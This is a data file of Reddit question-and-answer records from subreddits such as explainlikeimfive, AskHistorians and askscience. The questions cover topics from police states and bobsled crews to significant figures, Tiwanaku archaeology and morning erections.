way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "230mok", "title": "a true police state", "selftext": "I hear all this talk about police states and debate over whether America is turning into one or not. I'm not saying we are or aren't, I'm just trying to grasp what the definition and life of a true police state is.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/230mok/eli5_a_true_police_state/", "answers": {"a_id": ["cgs7xxr", "cgs8pg8"], "score": [27, 5], "text": ["Some examples of police states in the past are the USSR, Nazi-era Germany, the Khmer Rouge, Pinochet's regime, stuff like that. It's when the government (usually led by a dictator) uses the military and police to enforce a very strict and repressive set of laws.\n\nThe things that typically go out the window in a police state are freedom of speech, freedom of expression, freedom of thought, and the right to a fair trial. If the police are coming around and throwing anybody who doesn't agree with the ruling party's politics in jail, that's a police state.\n\nThe people who believe that the US is turning into (or is) a police state point to things like the NSA surveillance and Guantanamo Bay. They'd argue that the fact that our government is snooping on people who potentially are terrorists is a form of \"thought policing,\" and that since you can be thrown in Guantanamo without a trial, they could start (or already be) arresting people for \"suspected terrorism\" without a trial. There are also people who feel that the government will unfairly target people with certain political views and try to arrest them for spurious reasons: it happened a lot in the civil rights movement, for instance, and a lot of people in the legalization movement right now would tell you that people who are pushing for legalization get an unfair level of scrutiny from law enforcement.\n\nThis is also something that gets mixed up in a lot of conspiracy theory type stuff. Plenty of people would be more than happy to tell you that the government's been disappearing people for decades and that there are secret CIA-run brainwashing camps and stuff.", "Orwell wrote some stories explaining them well. There are many similies to governments today. Governments exist to centralize power away from individuals. Much can be said about the atrocities governments commit in the name of progress.\n\nFor us US Citizens we should reflect on our own revolutionary heritage to understand what freedoms were being infringed upon; Excessive taxes to finance the King's wars and imperialism, quartering of troops in civillians's homes, squelching of protest and free speech, unjust incarceration for dissent - being put onto ships and sent back to Britain, if you survived you still had to bring your own supporting evidence and witnesses - kangaroo courts, random/unjustified searches and siezures of people and their possessions, and finally confiscation of arms and burning powder houses.\n\nIt doesn't take long to find that some of these actions even 260 years ago still take place over time: Prevent freedom of thought or expression and communication. Prevent a means for the populace to arm themselves, prevent free trade, and get the populace to turn unto themselves. The biggest difference now is we have puppets in suits convincing us to give away these rights versus governments publicly taking them by force. And the ones that do take them by force the world turns a blind eye towards. Because, afterall, they wouldn't be getting shot or tazed or put into gas chambers unless they did something wrong, right? Right?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1kf4ue", "title": "what do the two guys in the middle of the bobsled do?", "selftext": "Driver drives. Brakeman brakes. How critical are the two guys in the middle?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1kf4ue/eli5_what_do_the_two_guys_in_the_middle_of_the/", "answers": {"a_id": ["cboabus", "cbob13k", "cborb6i", "cbothqu"], "score": [84, 10, 2, 16], "text": ["They contribute to the initial acceleration of the bobsled, and help steer by leaning. ", "Launch and ballast.", "Because it is impossible for only two men to carry a broken down bobsled in front of a cheering crowd as defiant tears of triumph fall down their cheeks.  ", "I realize this is late, but figured I'd elaborate for you all.\n\nThere are 2 major categories for bobsled brakemen.  Strong guys and fast guys.  Granted, all of the world class ones are both, but depending on their sports background (football vs. track for example) the individual might lean more towards strength over speed and vice versa. \n\n#2 guy (the one behind the driver on the left) gets in the sled pretty early.  He's generally on the stronger side vs. speed side since he gets 1 less step to help accelerate the sled.\n\nThe #3 guy (the one on the right) is most likely the most well rounded of the 3 guys pushing the sled.  This is because there is no one pushing the bobsled on that side with him.  He's all by his lonesome pushing on the right side.  This means he has to be both fast and strong.  Sometimes this guy will push from the side in 4-man, but from the brakes in 2-man.\n\nThe #4 guy (the brakemen) gets the \"sled out of the hole.\"  There doesn't seem to be an agreed upon \"size\" or \"type\" for what makes a good brakeman.  Examples:  Curt Tomasevicz 230lbs, really powerful but not a lot of top end speed.  Has a Gold medal from Vancouver.  Chris Fogt, 215lbs, lots of top end speed and really fast.  Holds the ice house record from the brakes in Calgary.\n\nSource:  I'm a member of the US Bobsled  &  Skeleton Federation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4i6yev", "title": "how are refs chosen to facilitate sports like hockey and football? how are they kept from being biased towards a team?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4i6yev/elif_how_are_refs_chosen_to_facilitate_sports/", "answers": {"a_id": ["d2vlxr2", "d2vm77d", "d2vncx4", "d2vrerz", "d2w0tpc"], "score": [12, 4, 2, 3, 2], "text": ["Refs go to school. Like many professions they start reffing school games/leagues, take courses along the way, join ref organizations and go to ref school. Look up how to be an MLB umpire... There are a couple schools that give you all the steps. \n\nAs for being unbiased, well that's what working your way up through the ranks does, not just teach and hive experience but weeds out the bad refs. Nothing wrong with having a favored team but they need to be professional about their job, many other professions require the same ability to be impartial. ", "The NHL doesn't just put an ad in the paper when it needs a new ref.  They have to work their way up from minor, college, and international leagues.  If they showed bias there, they don't move up the chain.\n\nAlso, refs are constantly being evaluated.  Team that don't like their calls will complain and send footage to the league for review.  Any bias would be pretty clear, and that person would not be a ref for very long.", "Not sure in other sports or leagues, but in the English Premier League, refs actually have to fill out a form every year with their personal details including where they live and also the team they support. This information is most important factor in choosing of a neutral and unbiased referee.  \n\nFor major games like matches between intense rivals, the above information coupled with their past performance and experience is used to determine who officiates the game. ", "In the UK, our refs are usually all trained professionals registered with their County Football Association. So let's say Leicester City are playing Manchester United, to avoid people picking holes and saying the ref was biased, they may ask a referee from say, London to officiate, rather than a referee from Leicester or Manchester, so it can't be argued the referee knows fans of those teams who pay pressure or bribe them to fix results, there are other ways but Im on mobile so cant go indepth, however if you like next time Im on PC I will.\n\nSource: Im a registered football (soccer) referee!", "To stop bias in Football (soccer) they have refs from different countries officiating. E.g. if chelsea play Real Madrid the ref cant be from either England or Spain, he has to be from a neutral country. \n\nHowever in domestic leagues it is just down experiance and leadership in the referee."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1pqw9j", "title": "where did \"trick or treat\" come from?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1pqw9j/eli5_where_did_trick_or_treat_come_from/", "answers": {"a_id": ["cd56t4i"], "score": [2], "text": ["Simple questions like this that don't warrant much explanation do not belong in ELI5, so this post has been removed. Try [google](_URL_0_) or /r/answers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.google.com/"]]}
{"q_id": "22u5k2", "title": "Were there any famous criminals in ancient times equivalent to today's Al Capone, Pable Escobar, etc etc?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/22u5k2/were_there_any_famous_criminals_in_ancient_times/", "answers": {"a_id": ["cgqfvvy", "cgqid3j"], "score": [22, 5], "text": ["Well, to start, most \"ancient\" states are not particularly analogous to modern states in terms of a criminal justice system. Even Rome (I cannot speak to the Hellenistic equivalents) maintained a significant degree of \"family\", or perhaps more properly, paterfamilial, justice even through the early to middle stages of the Empire (it's somewhat besides the question at hand, but the Roman legal system had a rather fascinating evolution, starting with Augustus' reforms, slowly leveraging state authority over areas that traditionally would have devolved to the paterfamilias level. The Digests and other jurist opinions are simply fascinating reads).\n\nThat said, one example that kind of springs to mind is Alcibiades. He's predominantly known now for his (minor) appearances in Socrates'/Plato's work, but he was a leading statesmen/politician/general during the period of the Pelopennesian war. He pulled off the rare feat of angering everyone, first the Athenians (who exiled him for sacrilege, which he may or may not have committed), then the Spartans, then the Athenians again, and finally the Persians. He wasn't so much a criminal as an opportunist (he is much more complicated than that, frankly, he's one of the most fascinating personalities of antiquity), but by the end of his life he was a reviled by pretty much all sides.", "During Roman's time: Strabo in his \"Geografia\" talks about a sicilian brigand called Seleuro. He was a farmer and then started organising attacking cities with his gang.  Then there is Lucusta, which is considered to be one of the first serial killers, her most famous victim is the Emperor Claudius, killed with poisoned mushrooms. Cassio Dio recalls a certain Protogenes (LIX-26), who was the \"sword and the dagger\" of Emperor Caligula, he was finally put to death by Emperor Claudius. \n\nThen there was the constant problem of piracy and the several servile wars. I don't think that persons such as Teuta (Illyrian queen and pirate) or Spartacus (rebel slave) can be considered as criminals since they were enemy of the states and Rome had to deal with them on the field of battle."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1pl51f", "title": "Does it take more energy in transmitting electricity uphill than it does downhill? Is the loss during transmission more in one of the two directions?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1pl51f/does_it_take_more_energy_in_transmitting/", "answers": {"a_id": ["cd3g08u", "cd3mnyh", "cd3p48q"], "score": [21, 3, 5], "text": ["Very, very small difference, so small because gravity is so much weaker than electricity. An electron going through a potential of one volt is a convenient measure of energy called an electron-volt (equivalent to ~10^-19 Joules). An electron moving up one hundred meters requires an energy of about 5 billionths of an electron volt. So in terms of circuits, the voltage required changes by billionths.", "The electron movement is a rather small part of the transfer of electricity. In the end the force carrier for the electric force is the photon. Since you move up in a gravitational well the photons do lose a minute amount of energy while going up in the potential. If you had a supermassive star and you would observe light from relatively far away (close enough that the expansion of the universe would still play no significant rolw). The light from the star would be redshifted (less energy - larger wavelength) by a tiny amount.", "To frame this a little in the real world, if you're talking about power transmission from a power plant, for example, you are still subject to these uphill and downhill artifacts. HOWEVER, the electricity transmitted has an AC waveform, meaning alternating current. This means that over a single cycle (1/60 seconds for a 60 Hz power line), the electrons in the conductor do not experience any net motion. So even when you are transmitting power, though the electrons may have to move uphill, during the second half of the cycle, they move back downhill. Due to electron motion during the cycle, you will experience resistive power losses, but that is load dependent. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2fojii", "title": "how was crysis so far ahead of its time?", "selftext": "The videogame Crysis was released in 2007, and was renowned for its incredible graphics. Even now, it can still compete with many of today's  games. I was wondering how they managed to accomplish this when every other game was far behind it in terms of graphics. What did they have that everybody else didn't?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fojii/eli5_how_was_crysis_so_far_ahead_of_its_time/", "answers": {"a_id": ["ckb7a9t", "ckb810t", "ckbaig1", "ckbbuff"], "score": [7, 5, 3, 2], "text": ["It wasn't that it was so far ahead in graphics it was the fact it was pushing the limitations of the hardware at the time. There was always YouTube videos of people boasting maxed out Crysis videos and if you could you were a madman. Xbox360 and ps3 were relatively new at the time and its hardware limitations means the game would have to be downscaled and optimized for console. The game was revolutionary for its motion blur, physics and explosions. You can see some unreal 4 demos, uniengine demos etc today which seem crazy with how many polygons are in it which would as of right now would never work on a console also.", "CryEngine was originally developed as a no-nonsense engine. Very little appeasement for non-high-end hardware. When developing visuals in the game it can come down to a whole lot of hard work. As visuals get more detailed more people are required to work harder and longer on them.\n\nIf you want to see a CryEngine game in development that is taking the same steps as Crysis did [Star Citizen](_URL_0_) is good to take a look at.", "What really put crysis over the top is that they pioneered a lot of what we now consider standard  graphical effects like ambient occlusion for example. Cryengine pretty much the most advanced engine back then. ", "It's not about what they had, it was about what they wanted to do with that game. When it comes to graphics, you can in theory spend months on a single model to make it look extremely realistic without any real limitation. World of Tanks is a good example of that: they have created an \"ideal\" model for each tank, a model that is so realistic and detailed that computers can't really handle it. They will scale down that model in order to allow the largest amount possible of computers to run the game, and as hardware gets better over time, they will scale up the model until they will reach the ideal model they have started with. Crysis' objective really wasn't about the marketshare. What they wanted to do with that game was to create something that would advertise by itself, and they succeded. Crysis was so demanding it became a benchmark for every computer. Everyone used to ask in forums how to build a pc specifically designed to run crysis. Do you realize how big of an advertise it was? Even though not a lot of people could play the game, everyone knew about it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://robertsspaceindustries.com/"], [], []]}
{"q_id": "93zn6o", "title": "how is a birth defect that happens to 1 in 300,000 births considered rare? if there are 360,000 births per day should not we get one child that has the defects every day?", "selftext": "btw i know that this isnt how statistics work, Im just asking if the rate is so big why is it rare", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/93zn6o/eli5_how_is_a_birth_defect_that_happens_to_1_in/", "answers": {"a_id": ["e3h39p1", "e3h3ll6", "e3h3ur1", "e3h9oo9"], "score": [14, 23, 2, 3], "text": ["Sure, but for every one birth manifesting the defect you get 299,999 which don't.  That's pretty rare, proportionally speaking.  It's rare in terms of its *statistical* frequency in the population, not its *numerical* frequency over time.", "If you get one flawed m & m for every 100,000 m & ms, and you've got a machine that cranks out 1,000,000 m & ms in 10 minutes, then in an hour you've already got 60 messed up m & ms. \n\nNow consider how easy it will be to find one of those 60 in a pile of 6,000,000 m & ms. ", "One child per day on the entire planet? That's pretty rare I suppose.", "Yes, we should, and on average we do. Those kids are spread all around the world.\n\nSome simple math can tell you that there are almost no doctors who have delivered more than 10,000 babies in their lifetime. ([Click here for an upper bound :)](_URL_0_) )\n\nThus, even a seasoned veteran has only about a 1 in 30 chance of ever seeing your hypothetical birth defect. Sounds rare enough to me."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.telegraph.co.uk/news/health/news/7763799/Doctor-100-still-working-after-delivering-18000-babies.html"]]}
{"q_id": "3s2vb1", "title": "how do stores like g2a and greenmangaming get money?", "selftext": "These are stores that sell steam keys for ultra cheap. How does it work?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3s2vb1/eli5how_do_stores_like_g2a_and_greenmangaming_get/", "answers": {"a_id": ["cwtlbtw"], "score": [3], "text": ["They usually buy the keys at countries where the prices of games are lower (relatively, because the standard of living is lower) and sell them with profit. To you, the keys are cheaper than on Steam itself, but they profit from it.\n\nIn order to prevent this, some publishers are locking keys to specific countries or disable to use of keys with \"shady\" or unknown issues. Not long ago, A major publisher claimed that they continually remove keys that have been acquired through these kinds of websites. It is risky to buy and use keys from said websites."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aq98it", "title": "why do studies like physics and chemistry prefer significant figures over higher decimal accuracy?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aq98it/eli5_why_do_studies_like_physics_and_chemistry/", "answers": {"a_id": ["egeagb6", "egealgx", "egec8el", "egegmbd", "egewkrm"], "score": [26, 6, 4, 2, 2], "text": ["Because more digits doesn't mean more accuracy. If I measure that I traveled 1 meter in 3 seconds and I want to calculate my average speed, I will get 0.3333... meters/second. There are an infinite amount of digits in that number, ergo I measured this with infinite accuracy? No. Not at all.\n\nSignificant figures is basically embedding additional information into the result with respect to the precision of the instruments used to take the measurement.\n\nIf my length measuring device measures to the nearest tenth of a meter and my time-keeping device measures to the nearest tenth of a second, then my resulting answer will reflect that:\n\n1.0 / 3.0 = 0.3\n\nBecause those are the only digits I can be sure about. Based on the precision of my instruments, I have no way of knowing if my distance traveled was actually 1.00 or 1.09 or if the time elapsed was 3.00 or 3.09 and those can give a variety of difference average speeds from 0.3236... to 0.363333.... The only digit common among them is 0.3 and the only digit that should be reflected in the answer.", "Significant figures *are* decimal accuracy. Specifically, it says how accurate you can be.\n\nLet's say you measure 5 grams of a compound, and you know that 2.5 grams of it will react (because you measured 2.5 grams of the other reactant), how much will you have left? Well, you could have anywhere between 2.000~1 and 2.999~9 grams left, because you don't know if you measured 4.600~1 or 5.499~9 grams, so you can't say accurately that you have exactly 2.5 grams left. Instead, you use the lowest accuracy measurement (5) and round the number 2.5 to 3, showing you're only accurate to the first figure, and your result can be anywhere from 2.50~0 to 3.49~9 grams.\n\n", "Is 0,0000000012 m or 12\u00c5 more accurate? one have 10 decimals and one have 0 decimals? The answer is that the are as accurate  and even identical because a \u00c5ngst\u00f6m is 1 ten-billionth of a meter.\n\nSo the number of decimals are not relevant if you write in like that but both have 2 significant digits.\n\nIf you write in in Scientific notation where you only have one digit before the decimal and then multiplied by a power of ten as  1.2x10^-9 m or 1.2x10^1 \u00c5 the number of decimals is the number of significant digits. You can then writ them as 1.20x10^-9 m or 1.20x10^1 \u00c5  if in fact you had more accurate messurment but the last digit was 0", "For things such as physical constants, the number of significant digits reflect our inherent inability to measure the precise value of those constants to a high enough degree of accuracy.  We can calculate the charge of a particle with a single unit of charge (say, an electron), but there will always be some uncertainty - both in an 'our devices aren't sensitive enough' sense, and in a 'Heisenberg uncertainty' fundamental limit on precision.\n\nIn short, we simply don't have the ability to calculate precisely further digits with any claims on accuracy.", "When you're measuring something, the tools and processes are only so precise. Imagine you want to know how far you live from your grandparents' house. You set your car's trip odometer, drive, and it reads 12.6 miles. It wouldn't make sense to then pull out a tape measure to add the width of their sidewalk."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "9xb4i2", "title": "how does rubbing alcohol melt ice?", "selftext": "Saw a thing about how spraying the ice on your car with 70% isopropyl alcohol melts it in very little time.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xb4i2/eli5_how_does_rubbing_alcohol_melt_ice/", "answers": {"a_id": ["e9quj2e", "e9quj9a", "e9qx8iy", "e9qxfbi"], "score": [16, 44, 3, 5], "text": ["Adding rubbing alcohol to water reduces its melting point. When you spray alcohol to ice it will start mixing and the resulting mix will be liquid as it needs to be colder before it freezes. This only works to some point as it is possible for the temperatures to get too cold and it will freeze anyway or you do not add enough alcohol so the freezing point does not get lower then the ambient temperature. You can also use other substances then alcohol such as salt or even sugar to lower the melting point of the water.", "Because a mixture of alcohol and water has a lower freezing point. Even though the water is initially in a solid state (ice), it will still mix up with the alcohol and thus \"melt\".", "ELI5: you know how dad keeps vodka in the freezer, and it chills, but it never freezes? That's because all liquids need to make themselves into crystals to solidify. But it's not easy for a mix of water plus alcohols like ethanol (in vodka) or rubbing alcohol to form nice little crystals; it's easier for them to stay liquid even at the temperature where pure water would freeze.  So if you add rubbing alcohol to ice, it'll become a mixture of water and alcohol that stays liquid.", "Just be cautious not to get it on your paint or plastic trim.  Alcohol loves to dry out plastics, and if given enough time it will happily soften up clear-coat/paint.  You've been warned! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4nkd6u", "title": "What is known for certain (or at least for very likely) about the Tiwanaku civilization?", "selftext": "I've visited [Tiwanaku](_URL_0_) a couple times, and heard a lot of the same things from two different guides. But the stories they tell strike me as too narrative and specific for an ancient civilization without a writing system.\n\nOne statement in particular seemed especially over-certain in relation to the way we know about it. Many features of the temples were described as references to \"Andean mythology\", for example the seven-level pyramid corresponding to seven stages of the soul from birth to death, or the image of a serpent representing knowledge and fertility. But as I understand it, these myths are a part of Aymara culture, and there's no particular evidence that the Tiwanaku people spoke Aymara. So do we really know anything about Tiwanaku religion, beyond the fact that they apparently felt compelled to build these temples?\n\nCome to think of it, do we even know those buildings *were* temples, rather than palaces or marketplaces that gained religious significance after the civilization that built them had disappeared?\n\nI have lots more questions, so I'd love if someone could recommend a good book about all this, in English or Spanish.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4nkd6u/what_is_known_for_certain_or_at_least_for_very/", "answers": {"a_id": ["d44v8fn", "d4emnn9"], "score": [5, 3], "text": ["Hey there! It just so happens I'm in Tiwanaku at this very moment. There's an awful lot that we do know- far too much to discuss in one instance! The tour guides here are notoriously crap. Yesterday one in the museum went on about their contact with China because of one image of a fellow with narrow eyes.\n\n I can definutely discuss the roles of the various monuments in the city- what are some other specific topics you're interested in so I can grab some sources for you? Art, architecture, politics, timeline, history of the archaeology, clothes, agricultural tech, etc...", "Before we begin, let's orient ourselves. Thankfully, [Google Maps](_URL_0_) has all the labels we need- I'll bold the things that appear on the map. In the center we see the modern town of **Tiwanaku.** The exact spot has been continuously occupied for at least 2000 years, though only now does it house as many people as did at it's ~900 AD peak.  To the west we see Lake Winyamarka, the southern segment of Lake Titicaca. To the north is the Taraco mountain range, which extends into the lake as the **Taraco** peninsula. Opposite this range is the Katari( or **Catavi**) valley. Separating the Tiwanaku valley and the **Jesus de Machaca** region to the south is the Kimsi Chata range. [Zooming in](_URL_1_) on the site, we can see the \"monumental core.\" We're most interested in the expansive **Kalasasaya** platform and the **Akapana** \"pyramid.\" People call it a pyramid, you won't see me us that term again. Also note the early **Semi-subterranean temple**,  **Puma Punku** ( to the southwest), and the **Putuni,** since they will come up. And while we're on terminology, I won't always use \"temple\" for these structures, instead using the generic \"ritual space.\" This encompasses the political, the religious as dictated by the state, and the religious as practiced by the people- three ideas that interrelate in complex manners. There are religious spaces within domestic ones distinct from the public state religious temples, and the political both appropriates and dictates religion as practiced by the people. I'll first approach how we identify spaces as ritual, and then move onto the more nuanced difference between public state ritual and private ritual practice, i.e. identify them as temples.\n\n\n**Tiwanaku's Monuments: A History**\n\nLet's jump backwards about 2000 years. Rome has just become an empire, China is flourishing under the Han, and Tiwanaku... well, people lived there. This period in Bolivian history is called the Late Formative, more specifically the Late Formative I ( LF1, 100 BC-250 AD). There are plenty of thriving centers of trade and culture, e.g. Chiripa on the Taraco peninsula, and Tiwanaku isn't on the road to any of them. Excavations beneath the Kalasasaya in the early '60s uncovered houses typical of a simple agricultural hamlet of the time. Later excavations at the Putuni immediately next to it revealed that the earliest occupation within its footprint was during the Late Formative 2 (LF2, 250-500 AD)- so we're talking a *very* small hamlet. The LF1 tombs did contain some more elaborate ceramics, which the project director termed \"Kalasasaya\" style. Later excavations in Taraco and the Katari valley suggest these ceramics had little to do with their namesake and were imported from places that actually mattered.\n\nSometime around the end of LF1, Tiwanaku starts growing. Circa 250-300, the first monument is built, the Semi-subterranean Temple. It follows the tradition of sunken temples at Chiripa (in Taraco) and Khonko Wankane (in Jesus de Machaca). The Khonko connection is particularly important: the site is precisely south of Tiwanaku and shares much of its iconography in the Formative. As will be discussed later, most of this imagery probably has to do with venerated ancestors, a common thread in Andean history. While this construction indicates it as a center of sorts, it doesn't make it unique.\n\nDuring the LF2, the Kalasasaya platform is constructed. Through its positioning and similar architecture, it's presented as a continuation of the Sunken Temple tradition. It is built in association with earlier graves, and these graves contain a new \"Qeya\" style of ceramics. This style is concentrated at the site and is the first that Tiwanaku can call its own. We see further residential growth in the LF2, as noted earlier beneath the Putuni.\n\nThe Formative Period ends circa 500 AD. Due to fun and zany wonderland of Andean chronologies, the following era is termed both the Middle Horizon, which only makes sense in Peru since it had a Horizon before that, and the Tiwanaku IV (5-800 AD) and V (8-1100 AD) periods, which only make sense in light of the now abandoned Tiwanaku I  &  II and slightly less abandoned Tiwanaku III periods. Anyways.... this is when Tiwanaku as we know it comes to be. Between 500 and 600 AD, both the Akapana and the Puma Punku are constructed. These bold monuments are a clear sign of divergence from the old traditions of a regional center. The Akapana stands directly in the way of the sight lines between the Sunken Temple and both Khonko Wankane and the important peaks in the Kimsa Chata range. The earlier monuments use exclusively locally-sourced sandstone, the new constructions employ blocks of volcanic andesite in prominent places. This andesite was quarried across Lake Winyamarka on the extinct volcano Khapia (directly across from Taraco peninsula). Similarly, new monoliths of andesite replaced the LF2 sandstone ones. This is also when characteristic Tiwanaku style ceramics debut. Later in TiwIV, the Kalasasaya gets its new, iconic wall of andesite pillars and the Kheri Kala and Kantatayita are built. Formative constructions continued prior traditions, but Tiwanaku period builders appropriated and replaced the work of their predecessors.\n\n**That's Nice But You're Still Calling Them Temples**\n\nThat I am. And why is that? There are several ways archaeologists assess the use of buildings; we\u2019ll look at two.\n\n*Space*\n\nWhen studying a structure with such nice looking masonry as the Kalasasaya, it's easy to get caught up with the walls themselves. That\u2019s important, yes. The big blocks of andesite mean that this is some kind of prominent, elite structure. But equally important is where the walls aren't- the enclosed space. Constructed spaces limit and direct how people interact with each other and the world. A bedroom and an open-air theater are different constructed spaces because the builders wanted to direct the inhabitants of the space differently. You *can* do the dirty in a theater's audience seats and you *can* watch the show from upstage center, but the architecture's manipulation of space makes both a bad idea. Conversely, you can't seat 800 spectators in an average bedroom because of the innate properties of matter.\nAt the most basic level, we divide spaces into exclusive and inclusive. Bedrooms exclude through size, walls, and house location (no one's front door opens into their bedroom). Open-air theaters include through, again, size, openness, and ease of access. Now, size doesn't always coordinate like this. An indoor theater and a museum warehouse can be very large spaces, but the series of ticket booths or security checkpoints one must pass through excludes those without permission. \n\nWe can also consider the visibility of spaces. In a theater, there is an obvious visual focal point. But there is much more space intentionally inhibited from view- the dressing rooms, orchestra pit, etc. A bedroom might have a window to see outside, but no design elements to increase its own visibility. These factors of size, accessibility, and sight lines greatly inform our analysis of space. Such considerations are more important for complex constructions like those at Chan Chan, but it's good to deconstruct what is otherwise \"common sense.\" (And I wrote a thesis on the social use of space so I have to throw in the lingo somewhere.)\n\nThe Kalasasaya is a large open space with a prominent, accessible entrance. Unless you're on the platform yourself, it's difficult to see what's happening on it, but getting on the platform isn\u2019t exactly hard- it\u2019s an inclusive public space. The Akapana is more difficult to access but highly visible. It creates a greater divide between those who observe the space and the actors within it, but any action on the top platform is still fairly inclusive through visibility.\n\nImportantly, these descriptions are not absolute but relative. We have found clearly defined domestic and economic spaces in the city with which we can contrast them. So when you ask \u201cHow do we know they\u2019re not palaces?\u201d it\u2019s because we know what contemporaneous palaces looked like. The oft-mentioned Putuni, during Tiw V, has been called a palace; more generically and \u201cproperly\u201d it\u2019s an elite residence. Adjacent to the other core monuments, it\u2019s highly visible from the outside, but has a dense network of rooms and patios of exclusive accessibility inside. Surrounding this monumental core is the city itself. Two neighborhoods east of the Akapana, appropriately called Akapana East 1  &  2 (AKE1 & 2), formed a more \u201caverage\u201d residential zone. These houses are arranged around shared open patio spaces, grouped by family or ethnic association and enclosed by a thick boundary wall. These are low visibility spaces with exclusive access. Within these two neighborhoods, and those like them, are small mounds/plazas, equally and easily accessible by all patio groups within AKE, but not accessible without awkwardly passing through these domestic spaces.\n\nFurther east is another neighborhood called Ch\u2019iji Jawira (CJ). We know from the artifacts encountered that a lot of ceramic production occurred here. Instead of AKE\u2019s \u201cpatio groups,\u201d these ceramicists have more isolated individual houses surrounding a larger open productive space. Again, though, it has an exterior wall and is exclusively accessible. There are similar, though smaller, partitioned productive spaces on top off the Akapana and adjacent to the Kalasasaya, probably the \u201cbackstage\u201d for whatever was happening there.\n\n"]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Tiwanaku"], "answers_urls": [[], ["https://www.google.com.bo/maps/@-16.6113653,-68.686538,50972m/data=!3m1!1e3", "https://www.google.com.bo/maps/@-16.5554576,-68.6728352,394m/data=!3m1!1e3"]]}
{"q_id": "8z3bku", "title": "why do boys draw penis' all the time?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8z3bku/eli5_why_do_boys_draw_penis_all_the_time/", "answers": {"a_id": ["e2fqtg3", "e2fyxbq"], "score": [8, 5], "text": ["This is not really a gendered thing. Some people find drawing rude or crass images to be entertaining and funny, and penises are generally considered rude and crass. The gender demographic of this will vary by region/location and the person that comes to mind of drawing a dick on everything to me is actually a woman, Barbara Dunkelman from Roosterteeth. It may just be a lot of guys in your area. But I also live in a town that has no graffitti and the graffiti on the trains that pass through tend to be more gang tags from the neighboring city than rude images. ", "Because you keep telling them not to. Even if you aren't doing the telling, someone else - or society in general - is telling them they shouldn't.\n\nThese sorts of minor transgressions are way for children to learn where the true boundaries lie. It's similar to how you'll tell your child to \"go to their room\" and 15 minutes later they'll be out in the hall with just their foot on the floor of their room explaining that, technically, they're still in the room."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9dcuna", "title": "what causes morning glory? does it get less common as you get older? my wife just asked me and i didn\u2019t have a clue", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9dcuna/eli5_what_causes_morning_glory_does_it_get_less/", "answers": {"a_id": ["e5gv5sx", "e5gvjkz", "e5gvmyr", "e5gw7gy"], "score": [2, 2, 9, 2], "text": ["The birth defect of the optic nerve?  That morning glory syndrome? ", "If you're asking about nocturnal penile tumescence, most Americans call that \u201cmorning wood.\u201d\n\nFor an answer as such, it's a way to make sure everything down there is working as it should. Doesn't mean you're necessarily \u201cready to go,\u201d but it does mean the muscle is getting proper blood flow.", "If you are referring to the more commonly known phrase \"morning wood\" then it is a result of elevated hormone levels.\n\nTestosterone is highest after waking up from a REM cycle, which is often times early morning when you get up. This can cause an erection even without physical stimulation. Another contributor could be urine retention. If you don't pee in the middle of the night, you might be holding it for 6-12 hours depending how long you sleep. This could cause the penis to become engorged and even erect. \n\nFun fact, many men actually get an erection throughout the night about 4-5 times while asleep. \n\nsource: bio degree + grad school in progress", "I'm 54 and I still get it, although of course its less common now--its a sign of good blood flow, many don't realize that if you're older and you don't get a full erection, that you may have heart problems"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
